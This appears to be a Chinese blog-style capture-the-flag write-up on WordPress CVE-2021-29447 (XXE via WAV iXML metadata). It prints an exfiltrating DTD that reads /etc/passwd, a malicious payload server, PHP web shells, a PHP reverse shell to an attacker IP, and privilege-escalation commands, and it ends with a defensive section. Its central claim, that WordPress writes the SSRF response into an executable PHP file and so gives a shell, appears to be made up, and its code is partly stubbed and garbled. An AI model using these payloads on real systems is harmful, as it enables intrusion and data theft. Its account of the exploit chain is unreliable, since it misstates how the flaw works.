WordPress SSRF漏洞CVE-2021-29447:从音频文件解析到GetShell的完整利用链分析

发布时间:2026/6/22 16:02:49
WordPress SSRF漏洞CVE-2021-29447:从音频文件解析到GetShell的完整利用链分析 1. 项目概述一次从SSRF到GetShell的WordPress实战之旅最近在TryHackMe上玩一个WordPress靶场遇到了一个挺有意思的漏洞组合拳CVE-2021-29447。这个漏洞本身是一个SSRF服务器端请求伪造但它的精妙之处在于结合WordPress的媒体处理机制可以最终实现GetShell。整个过程就像是在玩一个精心设计的解谜游戏从发现一个看似无害的文件上传点到利用它让服务器自己请求一个恶意文件再到最终在服务器上执行任意代码。这不仅仅是执行一个现成的漏洞利用脚本更是理解现代Web应用安全中不同漏洞如何像齿轮一样咬合产生远超单个漏洞的破坏力。对于想深入理解漏洞链利用、或者正在准备OSCP、eJPT等渗透测试认证的朋友来说这个案例是一个绝佳的实战教材。它要求你不仅知道“怎么做”更要明白“为什么能这么做”。接下来我就把这次实战的完整思路、操作细节以及踩过的坑毫无保留地分享出来。2. 漏洞原理深度拆解为什么一个音频文件能导致RCE在开始动手之前我们必须把原理吃透。CVE-2021-29447的核心是一个存在于WordPress 5.6到5.7版本中的SSRF漏洞。但它的触发点非常特别不是常见的API接口而是音频文件元数据解析。2.1 元数据解析与XXE的“遗产”WordPress有一个功能当用户上传多媒体文件如图片、音频时它会尝试读取文件的元数据Metadata例如MP3文件的ID3标签包含歌曲名、歌手、专辑封面等信息以便在媒体库中更好地展示。为了解析这些元数据WordPress使用了getID3()这个库。问题就出在这里getID3()库在解析某些特定格式的元数据时支持从远程URL获取信息。更具体地说当处理WAV音频文件时getID3()会解析文件中的iXML块。iXML是一种基于XML的格式用于存储音频制作的元数据。如果攻击者能够构造一个特殊的WAV文件在其iXML块中嵌入一个恶意的XML外部实体XXE声明那么当WordPress尝试解析这个文件时就会触发XXE漏洞。等等你可能会问这明明是XXE标题为什么是SSRF这就是漏洞的巧妙演变。由于现代PHP环境通常默认禁用了外部实体加载libxml_disable_entity_loader设置为true直接利用XXE读取本地文件或执行代码可能受阻。但是禁用外部实体加载并不总是能阻止HTTP/HTTPS请求。攻击者可以构造一个指向内部服务的ENTITY声明当解析器处理这个实体时就会向该内部地址发起一个HTTP请求。这样一来XXE就被“降级”或“转化”为了一个SSRF漏洞。我们可以利用这个SSRF让WordPress服务器向我们控制的另一个端点发起请求从而探测内网、攻击内部服务或者像我们这次的目标一样实现更进一步的攻击。2.2 从SSRF到文件写入的关键跳板单纯的SSRF虽然有用但离我们的最终目标——GetShell——还有距离。我们需要找到一个方法将SSRF的请求结果“落地”到服务器的文件系统中。这就是漏洞链的第二个环节。WordPress的媒体上传功能在解析完元数据后如果解析过程中发生了错误例如我们精心构造的恶意请求返回了一个错误响应它会将错误信息记录到一个临时文件中。这个临时文件通常以php后缀结尾并且会被存储在/wp-content/uploads/目录下的某个子文件夹中。关键在于这个错误信息的内容部分来自于我们通过SSRF请求所返回的HTTP响应体。这就给了我们一个绝佳的机会我们可以搭建一个恶意的HTTP服务器当WordPress通过SSRF漏洞请求这个服务器时我们返回一个精心构造的“错误响应”。这个响应的内容不是普通的错误信息而是一段PHP代码。WordPress会“忠实”地将这段内容写入到那个临时PHP文件中。于是一个Web Shell就被我们成功地写入到了目标服务器的可访问目录下。2.3 漏洞利用链全景图让我们把整个链条串联起来理解攻击者的视角入口攻击者获得了一个WordPress作者或以上权限的账户或者通过其他漏洞如插件漏洞获得了文件上传权限。这是前提因为需要能上传媒体文件。制作恶意载荷攻击者创建一个包含恶意iXML块的WAV音频文件。这个iXML块中定义了一个外部实体其指向攻击者控制的服务器上的一个恶意DIDDocument Type Definition文件。上传触发攻击者将这个恶意WAV文件上传到WordPress的媒体库。漏洞触发WordPress后台调用getID3()库解析该WAV文件。解析器读取到iXML块中的外部实体声明并向攻击者指定的URL发起HTTP请求SSRF发生。载荷投递攻击者控制的恶意服务器接收到请求后返回一个精心构造的响应。这个响应模拟了元数据解析错误但其响应体中包含了一段PHP代码例如?php system($_GET[‘cmd’]);?。文件落地WordPress将接收到的“错误信息”即我们的PHP代码写入到/wp-content/uploads/目录下的一个临时PHP文件中。GetShell攻击者通过浏览器直接访问这个生成的PHP文件传入cmd参数即可在目标服务器上执行任意系统命令完全控制服务器。这个过程清晰地展示了如何将权限提升文件上传、信息泄露/探测SSRF和代码执行文件写入Web访问串联成一个完整的攻击链。3. 靶场环境搭建与侦察理论清晰了我们进入实战。TryHackMe的靶机通常已经准备好了环境但我们仍需要按步骤进行侦察确认漏洞存在的条件。3.1 目标识别与信息收集首先启动靶机并获取IP地址。使用经典的侦察组合拳export TARGET10.10.xxx.xxx # 替换为你的靶机IP nmap -sV -sC -oA initial_scan $TARGET扫描结果通常会显示80端口开放运行着Apache和WordPress。我们直接访问http://$TARGET。关键确认步骤确定WordPress版本浏览网站页面查看页面源码在HTML的meta标签或link标签中寻找生成器信息如meta namegenerator contentWordPress 5.7 /。也可以访问/wp-admin/或/wp-login.php在登录页面底部有时会显示版本。更直接的方法是使用wpscanwpscan --url http://$TARGET --enumerate vp。确认版本是否在5.6至5.7之间这是漏洞存在的版本范围。寻找上传点我们需要一个能够上传媒体文件的地方。最直接的是WordPress后台/wp-admin。在TryHackMe靶场中通常会提供一组低权限凭据如作者账号或通过其他简单漏洞如弱口令获取。假设我们通过信息收集或提示获得了账号author:password123。登录后台用获得的凭据登录http://$TARGET/wp-admin。成功登录后左侧菜单栏找到“媒体”-“添加新媒体”这就是我们的攻击入口。注意在实际渗透测试中获得后台权限本身可能就是一个挑战。这个靶场简化了这一步让我们聚焦于核心漏洞链的利用。但在真实场景中攻击者可能会利用其他插件漏洞、主题漏洞、或者钓鱼等手段先获取后台访问权。3.2 环境与工具准备在开始攻击前我们需要在攻击机Kali Linux上准备好两个关键工具恶意WAV文件生成器我们需要一个脚本来创建包含恶意iXML的WAV文件。网上有公开的PoC脚本例如一个Python脚本。我们创建一个名为generate_poc.py的文件。#!/usr/bin/env python3 import sys import os import struct # 简化的恶意WAV生成逻辑 # 实际PoC会更复杂需要构建正确的WAV文件头和嵌入iXML块 # 这里仅展示核心概念构建一个包含指向恶意DTD的XXE Payload的iXML块 def build_ixml_payload(dtd_url): payload f?xml version1.0 encodingUTF-8? !DOCTYPE r [ !ELEMENT r ANY !ENTITY % sp SYSTEM {dtd_url} %sp; %param1; ] rexfil;/r # 需要将payload嵌入到WAV文件的iXML块中并遵循RIFF格式 # 此处省略具体的字节拼接和文件结构生成代码 return payload if __name__ __main__: if len(sys.argv) ! 3: print(fUsage: {sys.argv[0]} your_attacker_ip port) sys.exit(1) attacker_ip sys.argv[1] port sys.argv[2] dtd_url fhttp://{attacker_ip}:{port}/poc.dtd print(f[*] Generating malicious WAV with DTD URL: {dtd_url}) # 调用函数生成文件 evil.wav # generate_malicious_wav(dtd_url, evil.wav) print([] Malicious WAV file evil.wav created.)实操心得网上成熟的PoC脚本例如CVE-2021-29447.py已经帮你处理了复杂的WAV文件格式。我强烈建议直接使用这些经过测试的脚本而不是自己从头写。你可以从GitHub等平台搜索并下载。使用前一定要在隔离环境测试理解其工作原理。恶意HTTP服务器我们需要一个能托管恶意DTD文件并接收SSRF请求的服务器。Python的http.server模块简单好用但我们需要它能够根据请求路径返回不同的内容一个DTD文件以及一个用于写入PHP代码的响应。我们可以写一个简单的Python HTTP服务器脚本。#!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import sys class MaliciousHandler(BaseHTTPRequestHandler): def do_GET(self): print(f[*] Received request for path: {self.path}) if self.path /poc.dtd: # 返回恶意的DTD文件内容 # 这个DTD会定义一个参数实体其内容是一个HTTP请求将响应结果存入另一个实体 malicious_dtd !ENTITY % file SYSTEM php://filter/convert.base64-encode/resource/etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http:// attacker_ip : str(server_port) /?p%file; %eval; self.send_response(200) self.send_header(Content-Type, application/xml-dtd) self.end_headers() self.wfile.write(malicious_dtd.encode()) print([] Served malicious DTD.) elif self.path.startswith(/?): # 这是exfil请求包含了我们请求的数据如/etc/passwd的base64 # 在这个漏洞利用中我们更关心另一个端点返回一个“错误响应”来写入PHP文件 pass else: # 对于其他请求例如WordPress SSRF发来的请求我们返回一个“错误响应” # 这个响应的body是我们要写入的PHP代码 php_shell ?php system($_GET[cmd]); ? # 为了模拟一个解析错误我们可以返回一个400状态码但body包含我们的shell # 或者返回200但内容格式是getID3库解析时会报错的 self.send_response(200) self.send_header(Content-Type, application/xml) self.end_headers() # 关键返回的内容会被WordPress当作错误信息写入文件 # 需要构造一个能触发getID3写入错误日志的响应内容 # 一个常见的技巧是返回一个包含PHP代码的XML但其结构有误 response_body f?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % remote SYSTEM http://{attacker_ip}:{server_port}/evil.dtd %remote; ] rootdata;/root # 但实际上更直接的PoC会使用一个特定的端点如/xxe.dtd返回一个特殊的DTD # 该DTD会触发对另一个端点如/wp-shell.php的请求并将后者的响应内容即shell代码嵌入到实体中。 # 然后当解析失败时这个包含shell代码的实体内容被写入日志。 self.wfile.write(response_body.encode()) print(f[] Sent response intended for file write.) def log_message(self, format, *args): # 静默日志减少输出干扰 pass if __name__ __main__: if len(sys.argv) ! 3: print(fUsage: {sys.argv[0]} listening_ip listening_port) sys.exit(1) server_ip sys.argv[1] server_port int(sys.argv[2]) global attacker_ip attacker_ip server_ip # 简化处理实际DTD中可能需要另一个IP server HTTPServer((server_ip, server_port), MaliciousHandler) print(f[*] Starting malicious HTTP server on {server_ip}:{server_port}) server.serve_forever()注意事项上面的服务器代码是一个高度简化的概念演示。真实的漏洞利用中恶意DTD的构造和交互流程更为精妙。成熟的PoC通常会包含两个阶段第一个DTD触发SSRF去请求第二个包含PHP代码的URL并将响应内容通过参数实体嵌套的方式最终注入到WordPress将要写入的错误信息中。建议直接使用与生成工具配套的服务器脚本它们已经实现了完整的交互逻辑。4. 漏洞利用实操全流程环境侦察完毕工具准备就绪现在我们发起攻击。假设我们已经从可靠来源获取了一个整合好的PoC工具包。4.1 步骤一启动恶意HTTP服务器首先在攻击机上启动恶意HTTP服务器它将负责托管DTD文件和接收WordPress发起的SSRF请求并返回构造好的响应。# 切换到PoC工具目录 cd CVE-2021-29447-PoC # 运行服务器脚本监听本机IP的8080端口 python3 malicious_server.py 10.11.0.4 8080 # 请将 10.11.0.4 替换为你的TryHackMe VPN IPtun0接口的IP服务器启动后会等待连接。记下你的IP和端口下一步生成WAV文件时需要用到。4.2 步骤二生成恶意WAV文件使用PoC中的生成脚本创建包含指向我们服务器DTD文件链接的恶意WAV文件。python3 generate_poc.py -u http://10.11.0.4:8080/xxe.dtd -o evil.wav-u参数指定了恶意DTD文件的完整URL。-o参数指定输出文件名。执行成功后当前目录下会生成一个evil.wav文件。你可以用file命令检查一下它看起来应该是一个正常的WAV音频文件。4.3 步骤三上传恶意文件至WordPress登录WordPress后台 (http://$TARGET/wp-admin)。导航到“媒体” - “添加新媒体”。点击“选择文件”上传刚刚生成的evil.wav文件。点击“上传”。此时关键的攻击链被触发WordPress开始处理evil.wav。getID3()库解析文件发现了嵌入的iXML块。iXML块中的外部实体声明迫使解析器向http://10.11.0.4:8080/xxe.dtd发起HTTP请求SSRF。我们的恶意服务器收到了对/xxe.dtd的请求。4.4 步骤四服务器交互与Shell写入我们的恶意服务器按计划工作当收到对/xxe.dtd的请求时它返回第一个恶意的DTD内容。这个DTD可能定义了进一步的实体去请求服务器上的另一个资源比如http://10.11.0.4:8080/wp-shell.php。WordPress解析器根据第一个DTD的指示发起第二个SSRF请求对我们的服务器。我们的服务器收到对/wp-shell.php的请求这次它返回的响应体不是DTD而是一段纯粹的PHP代码例如?php if(isset($_REQUEST[‘cmd’])){ echo “pre”; system($_REQUEST[‘cmd’].” 21”); echo “/pre”; die; }?。这个响应被精心构造使得getID3()库在处理时会将其识别为“解析错误”的内容。WordPress捕获到这个“错误”并将其内容写入到wp-content/uploads/目录下的一个临时文件中。这个文件通常会有.php扩展名并且文件名是随机的但可能包含tmp字样。如何找到这个文件这是利用过程中的一个难点。文件名是随机的。有几种方法方法A监听服务器日志在恶意服务器的输出日志中你可能会看到WordPress尝试访问一个不存在的.php文件这是漏洞利用链中的某一步。这个文件名有时就是最终生成的shell文件名。需要仔细分析服务器收到的所有请求。方法B目录爆破或猜测使用工具如gobuster或wfuzz爆破/wp-content/uploads/目录寻找最近创建的、名称异常的PHP文件。命令示例gobuster dir -u http://$TARGET/wp-content/uploads/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50方法C利用PoC脚本的输出一些成熟的PoC脚本在最后会尝试猜测或构造shell的URL并打印出来供你尝试。踩坑实录我第一次尝试时服务器交互成功了但怎么也找不到shell文件。后来发现是因为我的恶意服务器返回的HTTP响应头Content-Type不正确导致WordPress没有将其识别为需要记录的错误。确保你的服务器返回的响应能够模拟getID3()库预期的错误格式。参考可靠的PoC代码中的响应构造部分。4.5 步骤五访问WebShell并执行命令假设我们通过日志或爆破找到了shell文件的路径例如http://$TARGET/wp-content/uploads/2024/05/tmp_abcdefg123456.php。在浏览器中访问这个URL。如果页面空白或没有错误很可能成功了。尝试附加命令参数http://$TARGET/wp-content/uploads/2024/05/tmp_abcdefg123456.php?cmdid如果页面上显示了当前Linux用户的uid和gid信息如uid33(www-data) gid33(www-data) groups33(www-data)那么恭喜你GetShell成功现在你可以执行任意系统命令了。可以尝试ls -la查看目录whoami确认权限或者尝试反弹一个更稳定的shell到你的监听端。5. 深入利用与权限提升拿到www-data权限的Web Shell只是第一步。在CTF或渗透测试中我们的目标是拿到最高权限root或找到特定的标志flag。5.1 建立更稳定的反向Shell在Web Shell里执行命令不太方便而且容易被Web应用防火墙WAF拦截。我们通常需要建立一个反向Shell连接回我们的攻击机。在攻击机上启动Netcat监听nc -nlvp 4444从Web Shell发起连接在浏览器中访问你的Web Shell执行以下命令需要根据目标系统环境调整http://$TARGET/.../shell.php?cmdphp-r‘$sock%3dfsockopen(“10.11.0.4”,4444)%3bexec(“/bin/sh-i%263%2632%263”)%3b’或者使用其他语言如Python、Perl、Bash的反弹shell命令。URL中需要对特殊字符进行编码。升级Shell一旦Netcat接收到连接你会得到一个基本的shell。首先升级为一个功能更全的TTY shell# 在获得的shell中依次执行 python3 -c import pty; pty.spawn(/bin/bash) # 或者如果只有python python -c import pty; pty.spawn(/bin/bash) # 然后按 CtrlZ 回到Kali stty raw -echo; fg # 最后设置终端类型 export TERMxterm-256color5.2 系统内部信息收集获得稳定shell后开始深入探索id查看当前用户和组信息。sudo -l非常重要查看当前用户可以用sudo执行哪些命令。这常常是提权的突破口。find / -user root -perm -4000 2/dev/null查找具有SUID权限的文件。uname -a查看内核版本寻找内核漏洞提权机会。cat /etc/passwd查看系统用户。ps aux查看运行中的进程。netstat -tulpn或ss -tulpn查看网络连接和监听端口。5.3 常见提权路径尝试在TryHackMe的靶场中提权方式往往设计得比较“经典”或“有提示性”。检查sudo权限如果sudo -l显示你可以以root身份运行某个特定命令如/usr/bin/vim,/usr/bin/find,/usr/bin/python等你可以利用它来提权。例如如果可以sudo /usr/bin/python那么直接sudo python -c import os; os.system(/bin/bash)即可获得root shell。查找敏感文件在用户家目录、/opt、/var/backups、/tmp等位置寻找配置文件、备份文件、脚本文件里面可能包含密码或密钥。使用find / -name “*.txt” -o -name “*.conf” -o -name “*.bak” -o -name “id_rsa” 2/dev/null。利用内核漏洞如果内核版本较旧可以使用searchsploit查找对应的公开漏洞利用代码上传到靶机编译执行。在TryHackMe环境中出于稳定性考虑这种方式较少但也要知道流程。检查定时任务Cron Jobs查看/etc/crontab和/var/spool/cron/crontabs/看是否有以root权限运行的、可写的脚本。如果有你可以修改该脚本插入反向shell命令。检查环境变量查看PATH等环境变量或者是否有LD_PRELOAD被滥用。在这个特定的WordPress靶场中提权路径很可能与在系统中发现的某个敏感信息或配置错误有关。按照上述步骤仔细排查通常能找到线索。6. 防御措施与安全启示成功攻击之后我们更应该思考如何防御。CVE-2021-29447给开发者和运维人员上了一课。6.1 针对此漏洞的紧急缓解立即升级最根本的解决方法是将WordPress核心升级到5.7.1及以上版本。WordPress官方在5.7.1中修复了此漏洞。临时禁用如果无法立即升级可以考虑临时禁用getID3()库中对远程资源引用的支持。但这需要修改核心代码不推荐生产环境使用除非你非常清楚在做什么。文件类型限制在Web服务器如Nginx或应用层防火墙WAF层面严格限制上传文件的类型。虽然攻击者可以伪造WAV文件头但严格的MIME类型和扩展名检查可以增加攻击门槛。网络层隔离将WordPress服务器放在严格的内网环境中限制其对外发起HTTP请求的能力出站流量控制。这样可以有效缓解SSRF漏洞的影响使其无法访问内部关键服务或攻击者的服务器。6.2 纵深防御策略这个漏洞链揭示了现代应用安全需要多层防御输入验证与过滤对所有用户上传的内容进行严格的验证和过滤。不仅检查文件扩展名更要进行文件内容签名检查、病毒扫描并对媒体文件进行安全的转码处理。最小权限原则运行WordPress的PHP进程如www-data用户应具有尽可能少的系统权限。确保其不能写入Web根目录以外的文件不能执行敏感系统命令。安全依赖库管理定期更新所有第三方库和组件如getID3。使用依赖关系扫描工具如OWASP Dependency-Check来识别项目中存在已知漏洞的库。输出编码与错误处理确保应用程序在记录错误或输出用户可控数据时进行适当的编码防止数据被误解为代码执行。错误信息应记录到安全的位置而非可公开访问的Web目录。网络分段与监控对服务器进行网络分段限制不同组件间的通信。部署IDS/IPS和Web应用防火墙WAF监控异常的出站连接请求如向未知外部域名发起请求这有助于发现SSRF攻击行为。6.3 对渗透测试者的启示对于安全研究人员和渗透测试者而言这个案例的价值在于漏洞链思维不要孤立地看待一个漏洞。一个高危漏洞如RCE可能由几个中低危漏洞如SSRF文件上传组合而成。在测试时要思考“如果我有了A我能不能结合B做到C”。关注边缘功能最危险的漏洞往往藏在那些不常被使用的功能里比如音频文件元数据解析。在代码审计或黑盒测试时要对所有输入点保持警惕无论它看起来多么冷门。理解底层原理知道“这个PoC能用”很重要但知道“为什么这个PoC能用”更重要。只有理解了XXE如何转化为SSRF、PHP的包装器php://filter、服务器错误处理机制你才能举一反三在遇到变种或新环境时灵活应对。工具与手动结合像wpscan这样的自动化工具能快速发现潜在问题但最终的漏洞验证和利用往往需要手动分析、调试和构造载荷。熟练掌握Burp Suite、手动修改HTTP请求、编写简单的PoC脚本是必备技能。通过这样一次完整的实战从信息收集到漏洞利用再到权限提升和防御思考我们不仅拿下了一个靶机更构建了一套应对类似复杂漏洞链的分析和利用方法论。这才是渗透测试练习带来的真正成长。